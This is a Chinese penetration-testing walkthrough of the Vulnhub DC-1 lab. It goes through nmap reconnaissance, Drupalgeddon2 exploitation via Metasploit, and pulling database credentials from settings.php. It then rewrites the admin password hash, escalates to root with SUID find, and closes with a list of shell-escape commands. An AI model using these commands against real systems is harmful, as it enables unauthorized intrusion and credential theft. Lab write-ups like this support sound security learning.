文章目录
- DC-1 完整渗透测试笔记:从 Drupalgeddon2 到 root flag
-
- 一、靶场简介
- 二、环境搭建
-
- 2.1 主机与靶机网络配置
- 2.2 验证连通性
- 三、信息收集
-
- 3.1 主机发现(arp-scan)
- 3.2 端口扫描(nmap)
- 3.3 Web 服务指纹识别(whatweb)
- 四、漏洞利用(Drupalgeddon2 / CVE-2018-7600)
-
- 4.1 漏洞背景
- 4.2 漏洞验证
- 4.3 使用 Metasploit 渗透框架
- 4.4 配置 Exploit 参数
- 4.5 获取交互式 Shell
- 五、后渗透——Flag 1~4
-
- 5.1 查找 Flag 1
- 5.2 通过配置文件获取数据库凭据(Flag 2)
- 5.3 进入 MySQL 数据库
- 5.4 破解管理员密码(Flag 3)
- 5.5 登录网站
- 5.6 查找 Flag 4
- 六、权限提升(SUDO → SUID 提权)
-
- 6.1 提权思路
- 6.2 查找 SUID 文件
- 6.3 SUID 提权利用
- 6.4 读取最终 Flag
- 七、总结
-
- 7.1 漏洞链关键点
- 7.2 学习要点
- 7.3 提权命令清单(面试时可能问到)
- 八、参考资料
DC-1 完整渗透测试笔记:从 Drupalgeddon2 到 root flag
一、靶场简介
DC-1 是 Vulnhub 上的经典入门级 Linux 渗透靶机,主要模拟一个使用 Drupal 7 CMS 搭建的网站。该靶机的整体流程为:
信息收集 → 漏洞利用(Drupalgeddon2) → 数据库访问 → 后台获取 flag
→ SUID 提权(find) → 读取 root flag
靶场地址:https://www.vulnhub.com/entry/dc-1-1,292/
二、环境搭建
2.1 主机与靶机网络配置
靶机导入 VirtualBox / VMware 后,要Kali 攻击机同样接入同一内网即可。比如网络适配器都选择NAT模式。 修改靶机的网络配置或者打开靶机可能会有下面报错:这是因为VMware版本过高。
只需要修改虚拟机的硬件兼容性就好了,把版本改低就行
这两个选项随便哪个都可以
之后就可以正常修改配置和开启靶机了。
2.2 验证连通性
# 启动 Kali,确认与靶机同网段
ifconfig
# 攻击机 IP 为 192.168.157.130

三、信息收集
3.1 主机发现(arp-scan)
arp-scan -l
输出: 
确认靶机 IP:192.168.157.151
3.2 端口扫描(nmap)
nmap -sS -sV -sC -p- 192.168.157.151
参数含义:
-sS:最常用且默认的扫描方式,也称为"半开扫描"。特点:快速且隐蔽,不完成TCP三次握手,需要root权限。
-sV:探测服务的详细版本信息
-sC:调用 default 默认轻量脚本,日常扫服务首选,风险低
-p-:扫描所有65535个端口
输出结果:

开放端口:22 (SSH) 和 80 (HTTP)。
3.3 Web 服务指纹识别(whatweb)

也可以使用whatweb查看
whatweb http://192.168.157.151
输出结果: 
确认:目标基于 Drupal 7 搭建。
四、漏洞利用(Drupalgeddon2 / CVE-2018-7600)
4.1 漏洞背景
Drupal 7 < 7.58 版本存在远程代码执行漏洞(CVE-2018-7600),由于 Forms API 缺乏对输入数据的充分过滤,导致攻击者可以注入 PHP 代码并执行任意命令。
4.2 漏洞验证
访问 Drupal 7 站点可见默认首页,点击任意节点(如 ?q=node/1)触发 Drupalgeddon2 漏洞。
4.3 使用 Metasploit 渗透框架
# 启动 Metasploit
msfconsole -q
#-q:静默启动
# 搜索对应漏洞利用模块
search drupal
匹配模块: 
可以看到有很多漏洞,选择等级最高的漏洞模块并且时间最新,所以选择2018年的
4.4 配置 Exploit 参数
use 1

show options
#列出当前模块所有可配置参数、必填项、默认值、参数说明
这个标志是yes的,都是必填项 
set RHOSTS 192.168.157.151
#设置攻击目标

exploit
#漏洞利用
执行成功后获得 Meterpreter Shell:可执行上传下载、提权、查看系统信息等后渗透操作 
4.5 获取交互式 Shell
# 进入 bash
shell
# 升级为完全交互 TTY(使用 python)
python -c 'import pty; pty.spawn("/bin/bash")'

当前用户:www-data(Apache 运行用户)
五、后渗透——Flag 1~4
5.1 查找 Flag 1
Drupal 7 默认的 flag 1 文件路径:/var/www/html/flag1.txt
可以使用find进行查找flag文件
find / -name *flag*

cat /var/www/html/flag1.txt

Flag 1: Every good CMS needs a config file – and so do you.
5.2 通过配置文件获取数据库凭据(Flag 2)
根据flag1:每一套完善的内容管理系统都需要配置文件,你同样需要。知道需要去看CMS的配置文件
Drupal 配置数据库信息在:sites/default/settings.php 也可以之间用find进行查找
find / -name settings*

cat /var/www/html/sites/default/settings.php
获得flag2:Brute force and dictionary attacks aren’t the only ways to gain access (and you WILL need access).What can you do with these credentials?(暴力破解与字典攻击并非获取访问权限的唯一手段(而你必然需要拿到访问权限)。拿到这些账号凭据后你能做些什么?)
配置文件中包含 MySQL 数据库账号密码:
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
5.3 进入 MySQL 数据库
mysql -udbuser -p
# 输入密码 R0ck3t

use drupaldb;
show tables;
可以看到一个users表: 
5.4 破解管理员密码(Flag 3)
# 提取管理员密码哈希
select name, pass from users;#不知道name,pass字段可以直接select * from users;

得到admin用户的密码哈希:
admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
使用 John the Ripper 破解:
echo '$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR' > /tmp/admin_hash.txt
john /tmp/admin_hash.txt –wordlist=/usr/share/wordlists/rockyou.txt
但是这种方法非常的慢,而且容易爆不出来。 可以通过update修改admin密码进行登陆 要修改这个密码,就要先找到加密文件。 先退出mysql:exit; 查找文件:
查看文件: 
若不携带 –root 参数运行该脚本,请在你的 Drupal 程序安装根目录执行该脚本 回到www目录执行加密文件:
php scripts/password-hash.sh 123456
#123456就是新密码
得到新密码哈希值
$S$DJW7/SVc797lXawr4h3djtuNdNMg.k47kJdLbU3rjISOOe4gtmW0
重新进入mysql,修改密码:
mysql -udbuser -p
#密码:R0ck3t
use drupaldb;
update users set pass='$S$DJW7/SVc797lXawr4h3djtuNdNMg.k47kJdLbU3rjISOOe4gtmW0' where name='admin';
检查有没有修改成功:
可以看到admin的密码已经修改,新密码就是123456。
5.5 登录网站
访问:http://192.168.157.151/
使用 admin / 123456 登录后台。
在网站查找flag3:

Flag 3: Special PERMS will help FIND the passwd – but you’ll need to -exec that command to work out how to get what’s in the shadow.
Flag 3: 特殊权限能够帮你找到口令文件(passwd),但你需要使用 – exec 参数执行对应命令,才能找到影子密码文件(shadow)内存储的内容。
5.6 查找 Flag 4
flag3提示了一些信息:passwd和shadow
/etc/passwd 该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读 /etc/shadow 该文件存储了系统用户的密码等信息,只有root权限用户才能读取
读取 /etc/passwd 文件可以发现几个用户,flag4 用户为靶机设计的目标用户。
查看flag4文件: 
Flag 4:Can you use this same method to find or access the flag in root?Probably. But perhaps it’s not that easy. Or maybe it is? Flag 4:你能用同样的方法查找或获取 root 目录下的标记文件吗?或许可以,但过程可能没那么容易,又或许很简单?
六、权限提升(SUDO → SUID 提权)
6.1 提权思路
由于当前是 www-data 用户,需要提权到 root。常见的提权路径有:
6.2 查找 SUID 文件
find / -perm -u=s 2>/dev/null

关键发现:
/usr/bin/find
find 命令拥有 SUID 权限,这是 DC-1 的经典利用点。 find 命令自带了 -exec 和 -ok 参数,这两个参数的作用是:对搜索到的每一个文件,执行后面跟随的系统命令。
因为它以 root 权限运行,所以 -exec 调用的任何命令都会继承 root 权限。利用它提权只需要一行代码
6.3 SUID 提权利用
根据 GTFOBins 公开的 Linux 提权方法:
find . -exec /bin/sh \\; -quit
使用whoami验证身份。 成功获得 root shell。
6.4 读取最终 Flag
find /root -name "*flag*"
cat /root/thefinalflag.txt

Final Flag: Well done!!! Hopefully you’ve enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter – @DCAU7
七、总结
7.1 漏洞链关键点
DC-1 的完整漏洞利用链:
nmap 扫描 → 22/80 端口开放
↓
web 指纹识别 → Drupal 7 框架
↓
Metasploit Drupalgeddon2 → 获取 www-data 权限
↓
读取 settings.php → 获取数据库凭据
↓
MySQL 数据库 → 提取管理员哈希 / 修改 admin 密码
↓
进入后台 + 多用户登录 → Flag 1-4
↓
find SUID 提权 → root shell → Final Flag
7.2 学习要点
7.3 提权命令清单(面试时可能问到)
| find | find . -exec /bin/sh \\; |
| vim | vim -c ':!/bin/sh' |
| less | less /etc/profile → !/bin/sh |
| awk | awk 'BEGIN {system("/bin/sh")}' |
| nmap | nmap –interactive(旧版) |
八、参考资料
- GTFOBins 提权命令大全:https://gtfobins.github.io/



